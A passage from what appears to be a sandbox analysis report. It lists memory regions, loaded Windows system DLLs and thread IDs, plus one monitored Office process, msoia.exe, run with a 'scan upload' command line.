	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2684
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2685
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2686
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2687
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2688
	        start_va = 0x7fef8a90000
	          end_va = 0x7fef8aa8fff
	     entry_point = 0x7fef8a90000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 2689
	        start_va = 0x7fef8ab0000
	          end_va = 0x7fef8ac4fff
	     entry_point = 0x7fef8ab0000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 2758
	        start_va = 0x10f0000
	          end_va = 0x10f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000010f0000"
	        filename = ""

Region:
	              id = 2759
	        start_va = 0x1100000
	          end_va = 0x1100fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001100000"
	        filename = ""

Region:
	              id = 2760
	        start_va = 0x2900000
	          end_va = 0x297ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002900000"
	        filename = ""

Region:
	              id = 2761
	        start_va = 0x2980000
	          end_va = 0x2b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002980000"
	        filename = ""

Region:
	              id = 2762
	        start_va = 0x2c90000
	          end_va = 0x2d8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c90000"
	        filename = ""

Region:
	              id = 2763
	        start_va = 0x2dc0000
	          end_va = 0x2ebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002dc0000"
	        filename = ""

Region:
	              id = 2764
	        start_va = 0x7fef59c0000
	          end_va = 0x7fef59cbfff
	     entry_point = 0x7fef59c0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2765
	        start_va = 0x7fef5ff0000
	          end_va = 0x7fef6063fff
	     entry_point = 0x7fef5ff0000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2766
	        start_va = 0x7fef96b0000
	          end_va = 0x7fef9702fff
	     entry_point = 0x7fef96b0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2767
	        start_va = 0x7fefb590000
	          end_va = 0x7fefb59afff
	     entry_point = 0x7fefb590000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 2768
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2769
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2770
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2771
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2772
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2773
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2774
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2775
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2776
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 2777
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""


Thread:
	id = 161
	os_tid = 0xbcc


Thread:
	id = 219
	os_tid = 0x750


Thread:
	id = 221
	os_tid = 0x560


Thread:
	id = 225
	os_tid = 0x698


Thread:
	id = 226
	os_tid = 0x48c


Thread:
	id = 228
	os_tid = 0xf0


Thread:
	id = 230
	os_tid = 0x530


Thread:
	id = 232
	os_tid = 0x7c8


Thread:
	id = 233
	os_tid = 0x528


Thread:
	id = 234
	os_tid = 0x600


Thread:
	id = 235
	os_tid = 0x5f0


Thread:
	id = 245
	os_tid = 0xad4


Thread:
	id = 246
	os_tid = 0xa14


Thread:
	id = 250
	os_tid = 0x744


Thread:
	id = 256
	os_tid = 0x948


Thread:
	id = 257
	os_tid = 0x8f0


Process:
	id = "21"
	image_name = "msoia.exe"
	filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"
	page_root = "0x76a31000"
	os_pid = "0xb70"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "18"
	os_parent_pid = "0xbc8"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 2029
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2030
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2031
	        start_va = 0x70000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 2032
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2033
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2034
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2035
	        start_va = 0x13f480000
	          end_va = 0x13f7c1fff
	     entry_point = 0x13f480000
	     region_type = mapped_file
	            name = "msoia.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe")

Region:
	              id = 2036
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2037
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2038
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 2039
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 2115
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2116
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2117
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000040000"
	        filename = ""

Region:
	              id = 2118
	        start_va = 0x50000
	          end_va = 0x50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 2119
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 2120
	        start_va = 0x170000
	          end_va = 0x1d6fff
	     entry_point = 0x170000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2121
	        start_va = 0x1e0000
	          end_va = 0x1e6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001e0000"
	        filename = ""

Region:
	              id = 2122
	        start_va = 0x1f0000
	          end_va = 0x1f1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001f0000"
	        filename = ""

Region:
	              id = 2123
	        start_va = 0x260000
	          end_va = 0x35ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000260000"
	        filename = ""

Region:
	              id = 2124
	        start_va = 0x3e0000
	          end_va = 0x3effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003e0000"
	        filename = ""

Region:
	              id = 2125
	        start_va = 0x3f0000
	          end_va = 0x4effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003f0000"
	        filename = ""

Region:
	              id = 2126
	        start_va = 0x4f0000
	          end_va = 0x677fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004f0000"
	        filename = ""

Region:
	              id = 2127
	        start_va = 0x680000
	          end_va = 0x800fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000680000"
	        filename = ""

Region:
	              id = 2128
	        start_va = 0x810000
	          end_va = 0x1c0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000810000"
	        filename = ""

Region:
	              id = 2129
	        start_va = 0x1c10000
	          end_va = 0x1edefff
	     entry_point = 0x1c10000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2130
	        start_va = 0x1ee0000
	          end_va = 0x22d2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001ee0000"
	        filename = ""

Region:
	              id = 2131
	        start_va = 0x37c80000
	          end_va = 0x37c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037c80000"
	        filename = ""

Region:
	              id = 2132
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2133
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2134
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2135
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2136
	        start_va = 0x7fef8370000
	          end_va = 0x7fef8559fff
	     entry_point = 0x7fef8370000
	     region_type = mapped_file
	            name = "c2r64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")

Region:
	              id = 2137
	        start_va = 0x7fef8560000
	          end_va = 0x7fef8799fff
	     entry_point = 0x7fef8560000
	     region_type = mapped_file
	            name = "appvisvsubsystems64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")

Region:
	              id = 2138
	        start_va = 0x7fefaa80000
	          end_va = 0x7fefaa82fff
	     entry_point = 0x7fefaa80000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 2139
	        start_va = 0x7fefaa90000
	          end_va = 0x7fefaa92fff
	     entry_point = 0x7fefaa90000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 2140
	        start_va = 0x7fefaaa0000
	          end_va = 0x7fefaaa2fff
	     entry_point = 0x7fefaaa0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 2141
	        start_va = 0x7fefaab0000
	          end_va = 0x7fefaab2fff
	     entry_point = 0x7fefaab0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 2142
	        start_va = 0x7fefaac0000
	          end_va = 0x7fefaac4fff
	     entry_point = 0x7fefaac0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 2143
	        start_va = 0x7fefaad0000
	          end_va = 0x7fefaad4fff
	     entry_point = 0x7fefaad0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 2144
	        start_va = 0x7fefaae0000
	          end_va = 0x7fefaae2fff
	     entry_point = 0x7fefaae0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 2145
	        start_va = 0x7fefaaf0000
	          end_va = 0x7fefab8bfff
	     entry_point = 0x7fefaaf0000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll")

Region:
	              id = 2146
	        start_va = 0x7fefab90000
	          end_va = 0x7fefab93fff
	     entry_point = 0x7fefab90000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 2147
	        start_va = 0x7fefaba0000
	          end_va = 0x7fefaba3fff
	     entry_point = 0x7fefaba0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 2148
	        start_va = 0x7fefabb0000
	          end_va = 0x7fefabb2fff
	     entry_point = 0x7fefabb0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 2149
	        start_va = 0x7fefabc0000
	          end_va = 0x7fefabc3fff
	     entry_point = 0x7fefabc0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 2150
	        start_va = 0x7fefabd0000
	          end_va = 0x7fefabd2fff
	     entry_point = 0x7fefabd0000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 2151
	        start_va = 0x7fefabe0000
	          end_va = 0x7fefabe2fff
	     entry_point = 0x7fefabe0000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 2152
	        start_va = 0x7fefabf0000
	          end_va = 0x7fefabf2fff
	     entry_point = 0x7fefabf0000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 2153
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac02fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 2154
	        start_va = 0x7fefac10000
	          end_va = 0x7fefac12fff
	     entry_point = 0x7fefac10000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 2155
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac22fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 2156
	        start_va = 0x7fefac30000
	          end_va = 0x7fefad21fff
	     entry_point = 0x7fefac30000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 2157
	        start_va = 0x7fefad30000
	          end_va = 0x7fefad33fff
	     entry_point = 0x7fefad30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 2158
	        start_va = 0x7fefad40000
	          end_va = 0x7fefad55fff
	     entry_point = 0x7fefad40000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll")

Region:
	              id = 2159
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf4dfff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2160
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2161
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2162
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2163
	        start_va = 0x7fefdfd0000
	          end_va = 0x7fefed57fff
	     entry_point = 0x7fefdfd0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2164
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2165
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2166
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2167
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2168
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2169
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2170
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2171
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2172
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2173
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2174
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2178
	        start_va = 0x7febdd50000
	          end_va = 0x7febdd5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febdd50000"
	        filename = ""

Region:
	              id = 2293
	        start_va = 0x200000
	          end_va = 0x200fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000200000"
	        filename = ""

Region:
	              id = 2294
	        start_va = 0x210000
	          end_va = 0x210fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2295
	        start_va = 0x7fefa750000
	          end_va = 0x7fefaa65fff
	     entry_point = 0x7fefa750000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2296
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2336
	        start_va = 0x220000
	          end_va = 0x220fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000220000"
	        filename = ""

Region:
	              id = 2337
	        start_va = 0x230000
	          end_va = 0x230fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000230000"
	        filename = ""

Region:
	              id = 2338
	        start_va = 0x240000
	          end_va = 0x240fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000240000"
	        filename = ""

Region:
	              id = 2339
	        start_va = 0x250000
	          end_va = 0x251fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000250000"
	        filename = ""

Region:
	              id = 2340
	        start_va = 0x360000
	          end_va = 0x36bfff
	     entry_point = 0x360000
	     region_type = mapped_file
	            name = "index.dat"
